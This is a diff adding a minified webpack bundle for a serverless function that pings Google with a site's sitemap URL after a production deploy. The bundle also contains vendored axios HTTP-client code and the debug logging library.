+                        var r,
+                            n = 0;
+                        for (r in e)(n = (n << 5) - n + e.charCodeAt(r)), (n |= 0);
+                        return t.colors[Math.abs(n) % t.colors.length];
+                    })(e)),
+                    (n.destroy = o),
+                    'function' == typeof t.init && t.init(n),
+                    t.instances.push(n),
+                    n
+                );
+            }
+            function o() {
+                var e = t.instances.indexOf(this);
+                return -1 !== e && (t.instances.splice(e, 1), !0);
+            }
+            ((t = e.exports = n.debug = n.default = n).coerce = function(e) {
+                return e instanceof Error ? e.stack || e.message : e;
+            }),
+            (t.disable = function() {
+                t.enable('');
+            }),
+            (t.enable = function(e) {
+                var r;
+                t.save(e), (t.names = []), (t.skips = []);
+                var n = ('string' == typeof e ? e : '').split(/[\s,]+/),
+                    o = n.length;
+                for (r = 0; r < o; r++)
+                    n[r] &&
+                    ('-' === (e = n[r].replace(/\*/g, '.*?'))[0] ?
+                        t.skips.push(new RegExp('^' + e.substr(1) + '$')) :
+                        t.names.push(new RegExp('^' + e + '$')));
+                for (r = 0; r < t.instances.length; r++) {
+                    var s = t.instances[r];
+                    s.enabled = t.enabled(s.namespace);
+                }
+            }),
+            (t.enabled = function(e) {
+                if ('*' === e[e.length - 1]) return !0;
+                var r, n;
+                for (r = 0, n = t.skips.length; r < n; r++)
+                    if (t.skips[r].test(e)) return !1;
+                for (r = 0, n = t.names.length; r < n; r++)
+                    if (t.names[r].test(e)) return !0;
+                return !1;
+            }),
+            (t.humanize = r(36)),
+            (t.instances = []),
+            (t.names = []),
+            (t.skips = []),
+            (t.formatters = {});
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(0);
+            e.exports = function(e, t) {
+                t = t || {};
+                var r = {},
+                    o = ['url', 'method', 'params', 'data'],
+                    s = ['headers', 'auth', 'proxy'],
+                    i = [
+                        'baseURL',
+                        'url',
+                        'transformRequest',
+                        'transformResponse',
+                        'paramsSerializer',
+                        'timeout',
+                        'withCredentials',
+                        'adapter',
+                        'responseType',
+                        'xsrfCookieName',
+                        'xsrfHeaderName',
+                        'onUploadProgress',
+                        'onDownloadProgress',
+                        'maxContentLength',
+                        'validateStatus',
+                        'maxRedirects',
+                        'httpAgent',
+                        'httpsAgent',
+                        'cancelToken',
+                        'socketPath'
+                    ];
+                n.forEach(o, function(e) {
+                        void 0 !== t[e] && (r[e] = t[e]);
+                    }),
+                    n.forEach(s, function(o) {
+                        n.isObject(t[o]) ?
+                            (r[o] = n.deepMerge(e[o], t[o])) :
+                            void 0 !== t[o] ?
+                            (r[o] = t[o]) :
+                            n.isObject(e[o]) ?
+                            (r[o] = n.deepMerge(e[o])) :
+                            void 0 !== e[o] && (r[o] = e[o]);
+                    }),
+                    n.forEach(i, function(n) {
+                        void 0 !== t[n] ? (r[n] = t[n]) : void 0 !== e[n] && (r[n] = e[n]);
+                    });
+                var a = o.concat(s).concat(i),
+                    u = Object.keys(t).filter(function(e) {
+                        return -1 === a.indexOf(e);
+                    });
+                return (
+                    n.forEach(u, function(n) {
+                        void 0 !== t[n] ? (r[n] = t[n]) : void 0 !== e[n] && (r[n] = e[n]);
+                    }),
+                    r
+                );
+            };
+        },
+        function(e, _t, _r) {
+            'use strict';
+            function n(e) {
+                this.message = e;
+            }
+            (n.prototype.toString = function() {
+                return 'Cancel' + (this.message ? ': ' + this.message : '');
+            }),
+            (n.prototype.__CANCEL__ = !0),
+            (e.exports = n);
+        },
+        function(_e, t, r) {
+            const n = process.env.SITEMAP_URL,
+                o = r(17);
+            t.handler = async (e) => {
+                try {
+                    const {
+                        payload: t
+                    } = JSON.parse(e.body), {
+                        state: r,
+                        context: s
+                    } = t;
+                    return n && 'ready' === r && 'production' === s ?
+                        (console.log(`Sending sitemap ping to google for ${n}`),
+                            await o.get(`http://www.google.com/ping?sitemap=${n}`), {
+                                statusCode: 200,
+                                body: 'Submitted Successfully'
+                            }) :
+                        (console.log('Conditions not met, not submitting'), {
+                            statusCode: 200,
+                            body: 'Conditions not met, not submitting'
+                        });
+                } catch (e) {
+                    throw (console.log(e), e);
+                }
+            };
+        },
+        function(e, _t, r) {
+            e.exports = r(18);
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(0),
+                o = r(3),
+                s = r(19),
+                i = r(14);
+            function a(e) {
+                var t = new s(e),
+                    r = o(s.prototype.request, t);
+                return n.extend(r, s.prototype, t), n.extend(r, t), r;
+            }
+            var u = a(r(5));
+            (u.Axios = s),
+            (u.create = function(e) {
+                return a(i(u.defaults, e));
+            }),
+            (u.Cancel = r(15)),
+            (u.CancelToken = r(45)),
+            (u.isCancel = r(4)),
+            (u.all = function(e) {
+                return Promise.all(e);
+            }),
+            (u.spread = r(46)),
+            (e.exports = u),
+            (e.exports.default = u);
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(0),
+                o = r(1),
+                s = r(20),
+                i = r(21),
+                a = r(14);
+            function u(e) {
+                (this.defaults = e), (this.interceptors = {
+                    request: new s(),
+                    response: new s()
+                });
+            }
+            (u.prototype.request = function(e) {
+                'string' == typeof e ? ((e = arguments[1] || {}).url = arguments[0]) : (e = e || {}),
+                    (e = a(this.defaults, e)).method ?
+                    (e.method = e.method.toLowerCase()) :
+                    this.defaults.method ?
+                    (e.method = this.defaults.method.toLowerCase()) :
+                    (e.method = 'get');
+                var t = [i, void 0],
+                    r = Promise.resolve(e);
+                for (
+                    this.interceptors.request.forEach(function(e) {
+                        t.unshift(e.fulfilled, e.rejected);
+                    }),
+                    this.interceptors.response.forEach(function(e) {
+                        t.push(e.fulfilled, e.rejected);
+                    }); t.length;
+                )
+                    r = r.then(t.shift(), t.shift());
+                return r;
+            }),
+            (u.prototype.getUri = function(e) {
+                return (e = a(this.defaults, e)), o(e.url, e.params, e.paramsSerializer).replace(/^\?/, '');
+            }),
+            n.forEach(['delete', 'get', 'head', 'options'], function(e) {
+                    u.prototype[e] = function(t, r) {
+                        return this.request(n.merge(r || {}, {
+                            method: e,
+                            url: t
+                        }));
+                    };
+                }),
+                n.forEach(['post', 'put', 'patch'], function(e) {
+                    u.prototype[e] = function(t, r, o) {
+                        return this.request(n.merge(o || {}, {
+                            method: e,
+                            url: t,
+                            data: r
+                        }));
+                    };
+                }),
+                (e.exports = u);
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(0);
+            function o() {
+                this.handlers = [];
+            }
+            (o.prototype.use = function(e, t) {
+                return this.handlers.push({
+                    fulfilled: e,
+                    rejected: t
+                }), this.handlers.length - 1;
+            }),
+            (o.prototype.eject = function(e) {
+                this.handlers[e] && (this.handlers[e] = null);
+            }),
+            (o.prototype.forEach = function(e) {
+                n.forEach(this.handlers, function(t) {
+                    null !== t && e(t);
+                });
+            }),
+            (e.exports = o);
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(0),
+                o = r(22),
+                s = r(4),
+                i = r(5);
+            function a(e) {
+                e.cancelToken && e.cancelToken.throwIfRequested();
+            }
+            e.exports = function(e) {
+                return (
+                    a(e),
+                    (e.headers = e.headers || {}),
+                    (e.data = o(e.data, e.headers, e.transformRequest)),
+                    (e.headers = n.merge(e.headers.common || {}, e.headers[e.method] || {}, e.headers)),
+                    n.forEach(['delete', 'get', 'head', 'post', 'put', 'patch', 'common'], function(t) {
+                        delete e.headers[t];
+                    }),
+                    (e.adapter || i.adapter)(e).then(
+                        function(t) {
+                            return a(e), (t.data = o(t.data, t.headers, e.transformResponse)), t;
+                        },
+                        function(t) {
+                            return (
+                                s(t) || (a(e), t && t.response && (t.response.data = o(t.response.data, t.response.headers, e.transformResponse))),
+                                Promise.reject(t)
+                            );
+                        }
+                    )
+                );
+            };
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(0);
+            e.exports = function(e, t, r) {
+                return (
+                    n.forEach(r, function(r) {
+                        e = r(e, t);
+                    }),
+                    e
+                );
+            };
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(0);
+            e.exports = function(e, t) {
+                n.forEach(e, function(r, n) {
+                    n !== t && n.toUpperCase() === t.toUpperCase() && ((e[t] = r), delete e[n]);
+                });
+            };
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(0),
+                o = r(6),
+                s = r(1),
+                i = r(8),
+                a = r(27),
+                u = r(28),
+                c = r(2);
+            e.exports = function(e) {
+                return new Promise(function(t, f) {
+                    var p = e.data,
+                        l = e.headers;
+                    n.isFormData(p) && delete l['Content-Type'];
+                    var d = new XMLHttpRequest();
+                    if (e.auth) {
+                        var h = e.auth.username || '',
+                            m = e.auth.password || '';
+                        l.Authorization = 'Basic ' + btoa(h + ':' + m);
+                    }
+                    var g = i(e.baseURL, e.url);
+                    if (
+                        (d.open(e.method.toUpperCase(), s(g, e.params, e.paramsSerializer), !0),
+                            (d.timeout = e.timeout),
+                            (d.onreadystatechange = function() {
+                                if (d && 4 === d.readyState && (0 !== d.status || (d.responseURL && 0 === d.responseURL.indexOf('file:')))) {
+                                    var r = 'getAllResponseHeaders' in d ? a(d.getAllResponseHeaders()) : null,
+                                        n = {
+                                            data: e.responseType && 'text' !== e.responseType ? d.response : d.responseText,
+                                            status: d.status,
+                                            statusText: d.statusText,
+                                            headers: r,
+                                            config: e,
+                                            request: d
+                                        };
+                                    o(t, f, n), (d = null);
+                                }
+                            }),
+                            (d.onabort = function() {
+                                d && (f(c('Request aborted', e, 'ECONNABORTED', d)), (d = null));
+                            }),
+                            (d.onerror = function() {
+                                f(c('Network Error', e, null, d)), (d = null);
+                            }),
+                            (d.ontimeout = function() {
+                                var t = 'timeout of ' + e.timeout + 'ms exceeded';
+                                e.timeoutErrorMessage && (t = e.timeoutErrorMessage), f(c(t, e, 'ECONNABORTED', d)), (d = null);
+                            }),
+                            n.isStandardBrowserEnv())
+                    ) {
+                        var v = r(30),
+                            C = (e.withCredentials || u(g)) && e.xsrfCookieName ? v.read(e.xsrfCookieName) : void 0;
+                        C && (l[e.xsrfHeaderName] = C);
+                    }
+                    if (
+                        ('setRequestHeader' in d &&
+                            n.forEach(l, function(e, t) {
+                                void 0 === p && 'content-type' === t.toLowerCase() ? delete l[t] : d.setRequestHeader(t, e);
+                            }),
+                            n.isUndefined(e.withCredentials) || (d.withCredentials = !!e.withCredentials),
+                            e.responseType)
+                    )
+                        try {
+                            d.responseType = e.responseType;
+                        } catch (t) {
+                            if ('json' !== e.responseType) throw t;
+                        }
+                    'function' == typeof e.onDownloadProgress && d.addEventListener('progress', e.onDownloadProgress),
+                        'function' == typeof e.onUploadProgress && d.upload && d.upload.addEventListener('progress', e.onUploadProgress),
+                        e.cancelToken &&
+                        e.cancelToken.promise.then(function(e) {
+                            d && (d.abort(), f(e), (d = null));
+                        }),
+                        void 0 === p && (p = null),
+                        d.send(p);
+                });
+            };
+        },
+        function(e, _t, _r) {
+            'use strict';
+            e.exports = function(e) {
+                return /^([a-z][a-z\d\+\-\.]*:)?\/\//i.test(e);
+            };
+        },
+        function(e, _t, _r) {
+            'use strict';
+            e.exports = function(e, t) {
+                return t ? e.replace(/\/+$/, '') + '/' + t.replace(/^\/+/, '') : e;
+            };
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(0),
+                o = [
+                    'age',
+                    'authorization',
+                    'content-length',
+                    'content-type',
+                    'etag',
+                    'expires',
+                    'from',
+                    'host',
+                    'if-modified-since',
+                    'if-unmodified-since',
+                    'last-modified',
+                    'location',
+                    'max-forwards',
+                    'proxy-authorization',
+                    'referer',
+                    'retry-after',
+                    'user-agent'
+                ];
+            e.exports = function(e) {
+                var t,
+                    r,
+                    s,
+                    i = {};
+                return e ?
+                    (n.forEach(e.split('\n'), function(e) {
+                            if (((s = e.indexOf(':')), (t = n.trim(e.substr(0, s)).toLowerCase()), (r = n.trim(e.substr(s + 1))), t)) {
+                                if (i[t] && o.indexOf(t) >= 0) return;
+                                i[t] = 'set-cookie' === t ? (i[t] ? i[t] : []).concat([r]) : i[t] ? i[t] + ', ' + r : r;
+                            }
+                        }),
+                        i) :
+                    i;
+            };
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(0),
+                o = r(29);
+            e.exports = n.isStandardBrowserEnv() ?
+                (function() {
+                    var e,
+                        t = /(msie|trident)/i.test(navigator.userAgent),
+                        r = document.createElement('a');
+                    function s(e) {
+                        var n = e;
+                        if (o(e)) throw new Error('URL contains XSS injection attempt');
+                        return (
+                            t && (r.setAttribute('href', n), (n = r.href)),
+                            r.setAttribute('href', n), {
+                                href: r.href,
+                                protocol: r.protocol ? r.protocol.replace(/:$/, '') : '',
+                                host: r.host,
+                                search: r.search ? r.search.replace(/^\?/, '') : '',
+                                hash: r.hash ? r.hash.replace(/^#/, '') : '',
+                                hostname: r.hostname,
+                                port: r.port,
+                                pathname: '/' === r.pathname.charAt(0) ? r.pathname : '/' + r.pathname
+                            }
+                        );
+                    }
+                    return (
+                        (e = s(window.location.href)),
+                        function(t) {
+                            var r = n.isString(t) ? s(t) : t;
+                            return r.protocol === e.protocol && r.host === e.host;
+                        }
+                    );
+                })() :
+                function() {
+                    return !0;
+                };
+        },
+        function(e, _t, _r) {
+            'use strict';
+            e.exports = function(e) {
+                return /(\b)(on\w+)=|javascript|(<\s*)(\/*)script/gi.test(e);
+            };
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(0);
+            e.exports = n.isStandardBrowserEnv() ? {
+                write: function(e, t, r, o, s, i) {
+                    var a = [];
+                    a.push(e + '=' + encodeURIComponent(t)),
+                        n.isNumber(r) && a.push('expires=' + new Date(r).toGMTString()),
+                        n.isString(o) && a.push('path=' + o),
+                        n.isString(s) && a.push('domain=' + s),
+                        !0 === i && a.push('secure'),
+                        (document.cookie = a.join('; '));
+                },
+                read: function(e) {
+                    var t = document.cookie.match(new RegExp('(^|;\\s*)(' + e + ')=([^;]*)'));
+                    return t ? decodeURIComponent(t[3]) : null;
+                },
+                remove: function(e) {
+                    this.write(e, '', Date.now() - 864e5);
+                }
+            } : {
+                write: function() {},
+                read: function() {
+                    return null;
+                },
+                remove: function() {}
+            };
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(0),
+                o = r(6),
+                s = r(8),
+                i = r(1),
+                a = r(9),
+                u = r(10),
+                c = r(11).http,
+                f = r(11).https,
+                p = r(12),
+                l = r(43),
+                d = r(44),
+                h = r(2),
+                m = r(7),
+                g = /https:?/;
+            e.exports = function(e) {
+                return new Promise(function(t, r) {
+                    var v = function(e) {
+                            t(e);
+                        },
+                        C = function(e) {
+                            r(e);
+                        },
+                        y = e.data,
+                        b = e.headers;
+                    if ((b['User-Agent'] || b['user-agent'] || (b['User-Agent'] = 'axios/' + d.version), y && !n.isStream(y))) {
+                        if (Buffer.isBuffer(y));
+                        else if (n.isArrayBuffer(y)) y = Buffer.from(new Uint8Array(y));
+                        else {
+                            if (!n.isString(y)) return C(h('Data after transformation must be a string, an ArrayBuffer, a Buffer, or a Stream', e));
+                            y = Buffer.from(y, 'utf-8');
+                        }
+                        b['Content-Length'] = y.length;
+                    }
+                    var x = void 0;
+                    e.auth && (x = (e.auth.username || '') + ':' + (e.auth.password || ''));
+                    var w = s(e.baseURL, e.url),
+                        R = p.parse(w),
+                        O = R.protocol || 'http:';
+                    if (!x && R.auth) {
+                        var E = R.auth.split(':');
+                        x = (E[0] || '') + ':' + (E[1] || '');
+                    }
+                    x && delete b.Authorization;
+                    var F = g.test(O),
+                        _ = F ? e.httpsAgent : e.httpAgent,
+                        A = {
+                            path: i(R.path, e.params, e.paramsSerializer).replace(/^\?/, ''),
+                            method: e.method.toUpperCase(),
+                            headers: b,
+                            agent: _,
+                            agents: {
+                                http: e.httpAgent,
+                                https: e.httpsAgent
+                            },
+                            auth: x
+                        };
+                    e.socketPath ? (A.socketPath = e.socketPath) : ((A.hostname = R.hostname), (A.port = R.port));
+                    var j,
+                        S = e.proxy;
+                    if (!S && !1 !== S) {
+                        var B = O.slice(0, -1) + '_proxy',
+                            T = process.env[B] || process.env[B.toUpperCase()];
+                        if (T) {
+                            var k = p.parse(T),
+                                N = process.env.no_proxy || process.env.NO_PROXY,
+                                q = !0;
+                            if (N)
+                                q = !N.split(',')
+                                .map(function(e) {
+                                    return e.trim();
+                                })
+                                .some(function(e) {
+                                    return (
+                                        !!e && ('*' === e || ('.' === e[0] && R.hostname.substr(R.hostname.length - e.length) === e) || R.hostname === e)
+                                    );
+                                });
+                            if (q && ((S = {
+                                    host: k.hostname,
+                                    port: k.port
+                                }), k.auth)) {
+                                var L = k.auth.split(':');
+                                S.auth = {
+                                    username: L[0],
+                                    password: L[1]
+                                };
+                            }
+                        }
+                    }
+                    if (
+                        S &&
+                        ((A.hostname = S.host),
+                            (A.host = S.host),
+                            (A.headers.host = R.hostname + (R.port ? ':' + R.port : '')),
+                            (A.port = S.port),
+                            (A.path = O + '//' + R.hostname + (R.port ? ':' + R.port : '') + A.path),
+                            S.auth)
+                    ) {
+                        var U = Buffer.from(S.auth.username + ':' + S.auth.password, 'utf8').toString('base64');
+                        A.headers['Proxy-Authorization'] = 'Basic ' + U;
+                    }
+                    var P = F && (!S || g.test(S.protocol));
+                    e.transport ?
+                        (j = e.transport) :
+                        0 === e.maxRedirects ?
+                        (j = P ? u : a) :
+                        (e.maxRedirects && (A.maxRedirects = e.maxRedirects), (j = P ? f : c)),
+                        e.maxContentLength && e.maxContentLength > -1 && (A.maxBodyLength = e.maxContentLength);
+                    var M = j.request(A, function(t) {
+                        if (!M.aborted) {
+                            var r = t;
+                            switch (t.headers['content-encoding']) {
+                                case 'gzip':
+                                case 'compress':
+                                case 'deflate':
+                                    (r = 204 === t.statusCode ? r : r.pipe(l.createUnzip())), delete t.headers['content-encoding'];
+                            }
+                            var n = t.req || M,
+                                s = {
+                                    status: t.statusCode,
+                                    statusText: t.statusMessage,
+                                    headers: t.headers,
+                                    config: e,
+                                    request: n
+                                };
+                            if ('stream' === e.responseType)(s.data = r), o(v, C, s);
+                            else {
+                                var i = [];
+                                r.on('data', function(t) {
+                                        i.push(t),
+                                            e.maxContentLength > -1 &&
+                                            Buffer.concat(i).length > e.maxContentLength &&
+                                            (r.destroy(), C(h('maxContentLength size of ' + e.maxContentLength + ' exceeded', e, null, n)));
+                                    }),
+                                    r.on('error', function(t) {
+                                        M.aborted || C(m(t, e, null, n));
+                                    }),
+                                    r.on('end', function() {
+                                        var t = Buffer.concat(i);
+                                        'arraybuffer' !== e.responseType && (t = t.toString(e.responseEncoding)), (s.data = t), o(v, C, s);
+                                    });
+                            }
+                        }
+                    });
+                    M.on('error', function(t) {
+                            M.aborted || C(m(t, e, null, M));
+                        }),
+                        e.timeout &&
+                        M.setTimeout(e.timeout, function() {
+                            M.abort(), C(h('timeout of ' + e.timeout + 'ms exceeded', e, 'ECONNABORTED', M));
+                        }),
+                        e.cancelToken &&
+                        e.cancelToken.promise.then(function(e) {
+                            M.aborted || (M.abort(), C(e));
+                        }),
+                        n.isStream(y) ?
+                        y
+                        .on('error', function(t) {
+                            C(m(t, e, null, M));
+                        })
+                        .pipe(M) :
+                        M.end(y);
+                });
+            };
+        },
+        function(e, _t) {
+            e.exports = require('assert');
+        },
+        function(e, _t) {
+            e.exports = require('stream');
+        },
+        function(e, _t, r) {
+            'undefined' == typeof process || 'renderer' === process.type ? (e.exports = r(35)) : (e.exports = r(37));
+        },
+        function(e, t, r) {
+            function n() {
+                var e;
+                try {
+                    e = t.storage.debug;
+                } catch (e) {}
+                return !e && 'undefined' != typeof process && 'env' in process && (e = process.env.DEBUG), e;
+            }
+            ((t = e.exports = r(13)).log = function() {
+                return 'object' == typeof console && console.log && Function.prototype.apply.call(console.log, console, arguments);
+            }),
+            (t.formatArgs = function(e) {
+                var r = this.useColors;
+                if (((e[0] = (r ? '%c' : '') + this.namespace + (r ? ' %c' : ' ') + e[0] + (r ? '%c ' : ' ') + '+' + t.humanize(this.diff)), !r)) return;
+                var n = 'color: ' + this.color;
+                e.splice(1, 0, n, 'color: inherit');
+                var o = 0,
+                    s = 0;
+                e[0].replace(/%[a-zA-Z%]/g, function(e) {
+                        '%%' !== e && (o++, '%c' === e && (s = o));
+                    }),
+                    e.splice(s, 0, n);
+            }),
+            (t.save = function(e) {
+                try {
+                    null == e ? t.storage.removeItem('debug') : (t.storage.debug = e);
+                } catch (e) {}
+            }),
+            (t.load = n),
+            (t.useColors = function() {
+                if ('undefined' != typeof window && window.process && 'renderer' === window.process.type) return !0;
+                if ('undefined' != typeof navigator && navigator.userAgent && navigator.userAgent.toLowerCase().match(/(edge|trident)\/(\d+)/)) return !1;
+                return (
+                    ('undefined' != typeof document &&
+                        document.documentElement &&
+                        document.documentElement.style &&
+                        document.documentElement.style.WebkitAppearance) ||
+                    ('undefined' != typeof window && window.console && (window.console.firebug || (window.console.exception && window.console.table))) ||
+                    ('undefined' != typeof navigator &&
+                        navigator.userAgent &&
+                        navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/) &&
+                        parseInt(RegExp.$1, 10) >= 31) ||
+                    ('undefined' != typeof navigator && navigator.userAgent && navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/))
+                );
+            }),
+            (t.storage =
+                'undefined' != typeof chrome && void 0 !== chrome.storage ?
+                chrome.storage.local :
+                (function() {
+                    try {
+                        return window.localStorage;
+                    } catch (e) {}
+                })()),
+            (t.colors = [
+                '#0000CC',
+                '#0000FF',
+                '#0033CC',
+                '#0033FF',
+                '#0066CC',
+                '#0066FF',
+                '#0099CC',
+                '#0099FF',
+                '#00CC00',
+                '#00CC33',
+                '#00CC66',
+                '#00CC99',
+                '#00CCCC',
+                '#00CCFF',
+                '#3300CC',
+                '#3300FF',
+                '#3333CC',
+                '#3333FF',
+                '#3366CC',
+                '#3366FF',
+                '#3399CC',
+                '#3399FF',
+                '#33CC00',
+                '#33CC33',
+                '#33CC66',
+                '#33CC99',
+                '#33CCCC',
+                '#33CCFF',
+                '#6600CC',
+                '#6600FF',
+                '#6633CC',
+                '#6633FF',
+                '#66CC00',
+                '#66CC33',
+                '#9900CC',
+                '#9900FF',
+                '#9933CC',
+                '#9933FF',
+                '#99CC00',
+                '#99CC33',
+                '#CC0000',
+                '#CC0033',
+                '#CC0066',
+                '#CC0099',
+                '#CC00CC',
+                '#CC00FF',
+                '#CC3300',
+                '#CC3333',
+                '#CC3366',
+                '#CC3399',
+                '#CC33CC',
+                '#CC33FF',
+                '#CC6600',
+                '#CC6633',
+                '#CC9900',
+                '#CC9933',
+                '#CCCC00',
+                '#CCCC33',
+                '#FF0000',
+                '#FF0033',
+                '#FF0066',
+                '#FF0099',
+                '#FF00CC',
+                '#FF00FF',
+                '#FF3300',
+                '#FF3333',
+                '#FF3366',
+                '#FF3399',
+                '#FF33CC',
+                '#FF33FF',
+                '#FF6600',
+                '#FF6633',
+                '#FF9900',
+                '#FF9933',
+                '#FFCC00',
+                '#FFCC33'
+            ]),
+            (t.formatters.j = function(e) {
+                try {
+                    return JSON.stringify(e);
+                } catch (e) {
+                    return '[UnexpectedJSONParseError]: ' + e.message;
+                }
+            }),
+            t.enable(n());
+        },
+        function(e, _t) {
+            var r = 1e3,
+                n = 6e4,
+                o = 36e5,
+                s = 24 * o;
+            function i(e, t, r) {
+                if (!(e < t)) return e < 1.5 * t ? Math.floor(e / t) + ' ' + r : Math.ceil(e / t) + ' ' + r + 's';
+            }
+            e.exports = function(e, t) {
+                t = t || {};
+                var a,
+                    u = typeof e;
+                if ('string' === u && e.length > 0)
+                    return (function(e) {
+                        if ((e = String(e)).length > 100) return;
+                        var t = /^((?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(e);
+                        if (!t) return;
+                        var i = parseFloat(t[1]);
+                        switch ((t[2] || 'ms').toLowerCase()) {
+                            case 'years':
+                            case 'year':
+                            case 'yrs':
+                            case 'yr':
+                            case 'y':
+                                return 315576e5 * i;
+                            case 'days':
+                            case 'day':
+                            case 'd':
+                                return i * s;
+                            case 'hours':
+                            case 'hour':
+                            case 'hrs':
+                            case 'hr':
+                            case 'h':
+                                return i * o;
+                            case 'minutes':
+                            case 'minute':
+                            case 'mins':
+                            case 'min':
+                            case 'm':
+                                return i * n;
+                            case 'seconds':
+                            case 'second':
+                            case 'secs':
+                            case 'sec':
+                            case 's':
+                                return i * r;
+                            case 'milliseconds':
+                            case 'millisecond':
+                            case 'msecs':
+                            case 'msec':
+                            case 'ms':
+                                return i;
+                            default:
+                                return;
+                        }
+                    })(e);
+                if ('number' === u && !1 === isNaN(e))
+                    return t.long ?
+                        i((a = e), s, 'day') || i(a, o, 'hour') || i(a, n, 'minute') || i(a, r, 'second') || a + ' ms' :
+                        (function(e) {
+                            if (e >= s) return Math.round(e / s) + 'd';
+                            if (e >= o) return Math.round(e / o) + 'h';
+                            if (e >= n) return Math.round(e / n) + 'm';
+                            if (e >= r) return Math.round(e / r) + 's';
+                            return e + 'ms';
+                        })(e);
+                throw new Error('val is not a non-empty string or a valid number. val=' + JSON.stringify(e));
+            };
+        },
+        function(e, t, r) {
+            var n = r(38),
+                o = r(39);
+            ((t = e.exports = r(13)).init = function(e) {
+                e.inspectOpts = {};
+                for (var r = Object.keys(t.inspectOpts), n = 0; n < r.length; n++) e.inspectOpts[r[n]] = t.inspectOpts[r[n]];
+            }),
+            (t.log = function() {
+                return process.stderr.write(o.format.apply(o, arguments) + '\n');
+            }),
+            (t.formatArgs = function(e) {
+                var r = this.namespace;
+                if (this.useColors) {
+                    var n = this.color,
+                        o = '[3' + (n < 8 ? n : '8;5;' + n),
+                        s = '  ' + o + ';1m' + r + ' ';
+                    (e[0] = s + e[0].split('\n').join('\n' + s)), e.push(o + 'm+' + t.humanize(this.diff) + '');
+                } else e[0] = (t.inspectOpts.hideDate ? '' : new Date().toISOString() + ' ') + r + ' ' + e[0];
+            }),
+            (t.save = function(e) {
+                null == e ? delete process.env.DEBUG : (process.env.DEBUG = e);
+            }),
+            (t.load = i),
+            (t.useColors = function() {
+                return 'colors' in t.inspectOpts ? Boolean(t.inspectOpts.colors) : n.isatty(process.stderr.fd);
+            }),
+            (t.colors = [6, 2, 3, 4, 5, 1]);
+            try {
+                var s = r(40);
+                s &&
+                    s.level >= 2 &&
+                    (t.colors = [
+                        20, 21, 26, 27, 32, 33, 38, 39, 40, 41, 42, 43, 44, 45, 56, 57, 62, 63, 68, 69, 74, 75, 76, 77, 78, 79, 80, 81, 92, 93, 98, 99, 112,
+                        113, 128, 129, 134, 135, 148, 149, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 178, 179, 184, 185, 196, 197,
+                        198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 214, 215, 220, 221
+                    ]);
+            } catch (e) {}
+            function i() {
+                return process.env.DEBUG;
+            }
+            (t.inspectOpts = Object.keys(process.env)
+                .filter(function(e) {
+                    return /^debug_/i.test(e);
+                })
+                .reduce(function(e, t) {
+                    var r = t
+                        .substring(6)
+                        .toLowerCase()
+                        .replace(/_([a-z])/g, function(_e, t) {
+                            return t.toUpperCase();
+                        }),
+                        n = process.env[t];
+                    return (
+                        (n = !!/^(yes|on|true|enabled)$/i.test(n) || (!/^(no|off|false|disabled)$/i.test(n) && ('null' === n ? null : Number(n)))),
+                        (e[r] = n),
+                        e
+                    );
+                }, {})),
+            (t.formatters.o = function(e) {
+                return (
+                    (this.inspectOpts.colors = this.useColors),
+                    o
+                    .inspect(e, this.inspectOpts)
+                    .split('\n')
+                    .map(function(e) {
+                        return e.trim();
+                    })
+                    .join(' ')
+                );
+            }),
+            (t.formatters.O = function(e) {
+                return (this.inspectOpts.colors = this.useColors), o.inspect(e, this.inspectOpts);
+            }),
+            t.enable(i());
+        },
+        function(e, _t) {
+            e.exports = require('tty');
+        },
+        function(e, _t) {
+            e.exports = require('util');
+        },
+        function(e, _t, r) {
+            'use strict';
+            const n = r(41),
+                o = r(42),
+                s = process.env;
+            let i;
+            function a(e) {
+                return (function(e) {
+                    return (
+                        0 !== e && {
+                            level: e,
+                            hasBasic: !0,
+                            has256: e >= 2,
+                            has16m: e >= 3
+                        }
+                    );
+                })(
+                    (function(e) {
+                        if (!1 === i) return 0;
+                        if (o('color=16m') || o('color=full') || o('color=truecolor')) return 3;
+                        if (o('color=256')) return 2;
+                        if (e && !e.isTTY && !0 !== i) return 0;
+                        const t = i ? 1 : 0;
+                        if ('win32' === process.platform) {
+                            const e = n.release().split('.');
+                            return Number(process.versions.node.split('.')[0]) >= 8 && Number(e[0]) >= 10 && Number(e[2]) >= 10586 ?
+                                Number(e[2]) >= 14931 ?
+                                3 :
+                                2 :
+                                1;
+                        }
+                        if ('CI' in s) return ['TRAVIS', 'CIRCLECI', 'APPVEYOR', 'GITLAB_CI'].some((e) => e in s) || 'codeship' === s.CI_NAME ? 1 : t;
+                        if ('TEAMCITY_VERSION' in s) return /^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(s.TEAMCITY_VERSION) ? 1 : 0;
+                        if ('truecolor' === s.COLORTERM) return 3;
+                        if ('TERM_PROGRAM' in s) {
+                            const e = parseInt((s.TERM_PROGRAM_VERSION || '').split('.')[0], 10);
+                            switch (s.TERM_PROGRAM) {
+                                case 'iTerm.app':
+                                    return e >= 3 ? 3 : 2;
+                                case 'Apple_Terminal':
+                                    return 2;
+                            }
+                        }
+                        return /-256(color)?$/i.test(s.TERM) ?
+                            2 :
+                            /^screen|^xterm|^vt100|^vt220|^rxvt|color|ansi|cygwin|linux/i.test(s.TERM) ?
+                            1 :
+                            'COLORTERM' in s ?
+                            1 :
+                            (s.TERM, t);
+                    })(e)
+                );
+            }
+            o('no-color') || o('no-colors') || o('color=false') ? (i = !1) : (o('color') || o('colors') || o('color=true') || o('color=always')) && (i = !0),
